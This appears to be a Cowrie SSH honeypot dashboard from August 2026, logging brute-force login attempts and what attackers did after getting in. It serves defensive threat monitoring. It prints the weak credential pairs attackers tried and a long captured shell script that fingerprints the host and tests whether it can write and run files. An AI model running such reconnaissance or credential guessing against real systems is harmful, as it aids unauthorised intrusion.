๐Ÿฏ HONEYPOT DASHBOARD

COWRIE SSH HONEYPOT // LIVE ATTACKER INTELLIGENCE // Generated: 2026-08-23 05:14:56 EDT
1241
Sessions Today
915
Login Attempts Today
53
Successful Logins Today
183
Unique IPs Today
172
Commands Today

๐ŸŒ Attack Origins

๐Ÿ† Top Attackers

AttackerOriginISPAttempts
rusty_echo_sol
195.178.110.30		 ๐Ÿ‡ฆ๐Ÿ‡ฉ Andorra la Vella Techoff SRV Limited 10634
haywire_tulip_sol
45.148.10.240		 ๐Ÿ‡ณ๐Ÿ‡ฑ Amsterdam Techoff SRV Limited 7142
rogue_lotus_root
122.176.106.4		 ๐Ÿ‡ฎ๐Ÿ‡ณ Delhi Bharti Airtel 5839
haywire_tulip_root
160.119.71.11		 ๐Ÿ‡ณ๐Ÿ‡ฑ Amsterdam HostUS 5685
lurking_scone_crypto
2.57.121.112		 ๐Ÿ‡ฌ๐Ÿ‡ง Rushden Unmanaged LTD 5190
ashen_bike_root
45.156.87.204		 ๐Ÿ‡ณ๐Ÿ‡ฑ Eygelshoven TechTies Inc. 4849
jittery_tea_root
2.57.121.25		 ๐Ÿ‡ฌ๐Ÿ‡ง Rushden Unmanaged LTD 3969
gnarled_gouda_root
91.92.40.19		 ๐Ÿ‡ณ๐Ÿ‡ฑ Amsterdam TechTies Inc. 3827
glitchy_dutch_sol
45.153.34.112		 ๐Ÿ‡ณ๐Ÿ‡ฑ Amsterdam TechTies Inc. 3555
molten_beefeater_root
193.46.255.86		 ๐Ÿ‡ฌ๐Ÿ‡ง Rushden Unmanaged LTD 3176

๐Ÿ“ก Recent Activity

2026-08-23 05:14:24 placid_poutine_sol 51.79.86.104 Login attempt: root/cryptoking
05:14 โ€“ 05:14 glitchy_clog_root 80.94.92.55 9ร— Command: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"
2026-08-23 05:14:23 glitchy_clog_root โ†‘ โœ… LOGIN SUCCESS: root/12345678
2026-08-23 05:13:43 cryptic_silk 118.145.213.116 Login attempt: sammy/qazwsx@123
2026-08-23 05:13:24 ashen_muay_sol 150.95.27.73 Login attempt: root/Uniswap2025
2026-08-23 05:13:05 brazen_star_sol 181.214.83.95 Login attempt: root/crypto2024
2026-08-23 05:12:49 unhinged_burger_sol_10 20.122.141.10 Login attempt: root/Coinbase2024
2026-08-23 05:12:48 rusty_drifter_root 37.151.92.31 Login attempt: k8s/1
2026-08-23 05:12:43 molten_cowboy_sol 190.92.148.221 Login attempt: wallet/wallet2025
2026-08-23 05:12:20 glitchy_clog_root 80.94.92.55 Login attempt: root/1234567
2026-08-23 05:12:06 rogue_cowboy_sol 179.61.232.104 Login attempt: ethereum/Ethereum2025
2026-08-23 05:11:39 venomous_star_sol 66.154.115.247 Login attempt: wallet/bitcoin
2026-08-23 05:11:27 brisk_seoul_sol 211.227.110.14 Login attempt: bitcoin/Bitcoin2024
2026-08-23 05:10:25 rusty_drifter_root 37.151.92.31 Login attempt: devops/devops
05:10 โ€“ 05:10 glitchy_clog_root 80.94.92.55 9ร— Command: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"
2026-08-23 05:10:17 glitchy_clog_root โ†‘ โœ… LOGIN SUCCESS: root/123456
2026-08-23 05:10:04 sneaky_autobahn_sol 141.95.19.37 Login attempt: admin/wallet
2026-08-23 05:08:29 weary_stein_sol 159.223.29.238 Login attempt: root/crypto2025
2026-08-23 05:08:16 glitchy_clog_root 80.94.92.55 Login attempt: root/12345
2026-08-23 05:08:13 manic_bear_sol 37.140.197.71 Login attempt: wallet/trezor

๐ŸŽฌ Greatest Hits

๐Ÿ‡ฆ๐Ÿ‡ฉ rusty_echo_sol
10634 attempts ยท 2838 sessions ยท 2838 cmds
Cracked Solana wallets and chained sequential passwords while inventorying the kernel, proving crypto credentials are just another password list to brute force.
โฐ 06-24 07:45 โ€“ 08-23 04:23
๐Ÿ‡ณ๐Ÿ‡ฑ haywire_tulip_sol
7142 attempts ยท 823 sessions ยท 823 cmds
Sweated through 2970 attempts to crack Solana wallets with crypto-themed passwords before settling on sequential defaults and running a full system census.
โฐ 06-24 05:14 โ€“ 08-11 17:46
๐Ÿ‡ณ๐Ÿ‡ฑ haywire_tulip_root
5685 attempts ยท 110 sessions ยท 110 cmds
Cracked four weak passwords like P@ssw0rd and 111111, then immediately ran a uname census of the kernel, system, node, revision, and architecture.
โฐ 06-27 10:50 โ€“ 06-30 06:22
๐Ÿ‡ณ๐Ÿ‡ฑ ashen_bike_root
4849 attempts ยท 155 sessions ยท 155 cmds
Cracked Solana wallets with sequential guesses, dumped system versioning commands, and locked the door with weak passwords like 'password' and 'CatCult2025!' after 132 successful logins.
โฐ 07-24 20:29 โ€“ 08-22 03:52
๐Ÿ‡ณ๐Ÿ‡ฑ gnarled_gouda_root
3827 attempts ยท 155 sessions ยท 155 cmds
Cracked default and sequential passwords including crypto credentials, then ran a bare uname census before logging out.
โฐ 07-07 01:40 โ€“ 08-06 06:25
๐Ÿ‡ณ๐Ÿ‡ฑ glitchy_dutch_sol
3555 attempts ยท 133 sessions ยท 133 cmds
Dabbled in crypto and Solana wallets before cycling through sequential passwords and dumping basic system identifiers like uname -s -v -n -r -m.
โฐ 06-24 22:08 โ€“ 08-13 09:44

๐Ÿ”‘ Top Credentials

๐Ÿ“ˆ Attack Timeline

๐Ÿ“Š Daily Breakdown

DateSessionsLogin AttemptsSuccessfulUnique IPsCommandsTop Attacker
2026-08-23 1241 915 53 183 172 venomous_jade_root (8.138.147.213)
2026-08-22 5941 5590 209 349 532 spectral_tulip_sol (91.92.47.35)
2026-08-21 3579 3350 174 331 544 cryptic_dutch_root (45.153.34.161)
2026-08-20 7051 6647 243 338 531 ironclad_stroopwafel_root_34 (91.92.42.34)
2026-08-19 3419 2956 191 200 453 clandestine_stroopwafel_root (77.239.124.247)
2026-08-18 4630 4172 224 259 557 weary_gouda_root (77.239.124.249)
2026-08-17 5146 4617 226 224 522 placid_dutch_root (91.92.42.227)
2026-08-16 3415 3165 229 215 606 weary_gouda_root (77.239.124.249)
2026-08-15 4045 3755 193 241 559 placid_clog_root (91.92.40.124)
2026-08-14 3673 3075 161 248 238 manic_tulip_sol (45.153.34.15)
2026-08-13 4010 3464 176 232 391 placid_windmill_root (45.156.87.34)
2026-08-12 3950 3119 174 230 480 vapor_clog_sol (77.239.124.235)
2026-08-11 5238 4484 306 222 608 cryptic_dutch_root (45.153.34.161)
2026-08-10 7349 6395 319 228 879 murky_gouda_root (45.156.87.253)
2026-08-09 4077 3502 202 194 574 glitchy_dutch_sol (45.153.34.112)
2026-08-08 5224 4682 299 181 679 venomous_clog_root (45.156.87.13)
2026-08-07 7064 6702 351 203 665 sneaky_tulip_root (91.92.42.195)
2026-08-06 7373 6938 341 182 637 scrappy_windmill_sol (45.153.34.144)
2026-08-05 2839 2386 226 179 538 rusty_echo_sol (195.178.110.30)
2026-08-04 6217 5597 269 173 631 ashen_bike_root (45.156.87.204)
2026-08-03 7505 6973 364 167 897 spectral_tulip_sol (91.92.47.35)
2026-08-02 9128 8679 392 182 746 spectral_tiger_root (103.137.48.26)
2026-08-01 5623 5117 255 189 551 spectral_tiger_root (103.137.48.26)
2026-07-31 8080 7631 393 172 648 placid_dutch_root_61 (91.92.42.61)
2026-07-30 6472 6355 309 150 462 venomous_stroopwafel_root (45.153.34.151)
2026-07-29 6466 5855 235 170 564 lurking_gouda_root (45.153.34.165)
2026-07-28 4762 4505 332 147 656 cryptic_windmill_root (91.92.40.171)
2026-07-27 5417 5084 332 240 561 wired_dutch_root (91.92.40.151)
2026-07-26 3706 3479 213 155 453 vapor_gouda_root (91.92.47.6)
2026-07-25 3821 3457 252 171 569 restless_stroopwafel_root (91.92.40.43)
2026-07-24 7923 7391 351 191 990 obsidian_stroopwafel_root (77.239.124.236)
2026-07-23 5274 5025 285 156 412 weary_gouda_root (77.239.124.249)
2026-07-22 7875 7054 291 203 497 hollow_gouda_root (45.156.87.147)
2026-07-21 5769 5129 297 186 576 clandestine_stroopwafel_root (77.239.124.247)
2026-07-20 6838 6496 295 217 539 midnight_stroopwafel_root (91.92.40.28)
2026-07-19 6063 5710 361 180 726 silent_stroopwafel_sol (45.156.87.91)
2026-07-18 5527 5329 320 156 763 placid_clog_root (91.92.40.124)
2026-07-17 4618 4358 293 211 486 unhinged_clog_sol (91.92.40.52)
2026-07-16 7385 7093 393 208 794 vapor_gouda_root_44 (91.92.40.44)
2026-07-15 7424 7143 462 184 817 wired_star_root (141.11.88.246)
2026-07-14 7173 6729 383 253 619 zealous_dutch_root (45.153.34.186)
2026-07-13 8745 8257 378 264 603 venomous_dutch_sol (45.153.34.71)
2026-07-12 8079 7593 318 252 699 aloof_bike_root (91.92.40.37)
2026-07-11 7818 7272 261 182 650 lurking_dutch_sol (91.92.42.172)
2026-07-10 8028 7288 351 218 742 unhinged_stroopwafel_root (45.156.87.216)
2026-07-09 13875 13474 328 272 561 rogue_lotus_root (122.176.106.4)
2026-07-08 5990 5510 269 330 655 cryptic_tulip_root (45.153.34.181)
2026-07-07 5984 5920 390 300 941 gnarled_gouda_root (91.92.40.19)
2026-07-06 5171 4925 323 324 830 weary_gouda_root_137 (45.153.34.137)
2026-07-05 6988 6267 409 331 793 restless_bike_root (94.154.43.181)
2026-07-04 5017 5184 253 356 514 manic_tulip_sol (45.153.34.15)
2026-07-03 8318 8457 397 411 943 obsidian_tulip_sol (91.92.40.29)
2026-07-02 7117 6914 313 416 561 sullen_windmill_root (45.156.87.166)
2026-07-01 6842 6902 308 409 654 sullen_clog_root (45.153.34.167)
2026-06-30 11129 10563 407 441 714 arctic_eagle_sol (141.11.88.22)
2026-06-29 8282 6131 202 326 400 haywire_tulip_root (160.119.71.11)
2026-06-28 11601 9270 424 210 831 haywire_tulip_root (160.119.71.11)
2026-06-27 7408 6413 295 268 392 haywire_tulip_root (160.119.71.11)
2026-06-26 7035 6491 347 221 487 midnight_stroopwafel_root (91.92.40.28)
2026-06-25 3882 3546 208 212 319 stoic_stroopwafel_root (178.208.88.6)
2026-06-24 4169 4374 183 195 195 obsidian_bike_root (176.65.139.251)

๐Ÿ“Š All-Time Stats

MetricTotalAvg / DayLast 24hPeak Day
Sessions379,8086226.45,63613,875 (Jul 9)
Login Attempts350,8545751.75,04813,474 (Jul 9)
Successful Logins17,738290.8205462 (Jul 15)
Unique IPs7,476122.6352441 (Jun 30)
Commands Executed36,606600.1510990 (Jul 24)
Success Rate5.1%5.1%4.1%9.5% (Aug 5)
Days Active61

๐Ÿ’€ Successful Logins โ€” What They Did

๐ŸŽญ glitchy_clog_root (80.94.92.55) โ€” Amsterdam, The Netherlands ยท 110 sessions ยท 990 cmds
2026-06-28 07:43 EDT ยท as admin/123456, admin/admin, admin/admin123
PATH manipulation โ†’ kernel and OS version enumeration via uname โ†’ kernel parameter extraction from /proc/version โ†’ OS release detection via /etc/os-release โ†’ hardware fingerprinting (architecture, hostname, CPU model) โ†’ system profiling for compatibility assessment.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—94
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—110
$ /bin/uname -s -v -n -m 2 > /dev/null ร—110
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—110
$ busybox uname -s -v -n -m 2 > /dev/null ร—110
$ ( [ -f /proc/version ] ร—110
$ [ -f /proc/version ] ร—110
$ head -1 /proc/version | cut -d -f1 ร—110
$ [ -f /etc/os-release ] ร—110
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—3
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—3
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ร—10
๐ŸŽญ venomous_jade_root (8.138.147.213) โ€” Guangzhou, China ยท 10 sessions ยท 10 cmds
2026-08-23 01:56 EDT ยท as oracle/123456, oracle/oracle, root/1234
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—10
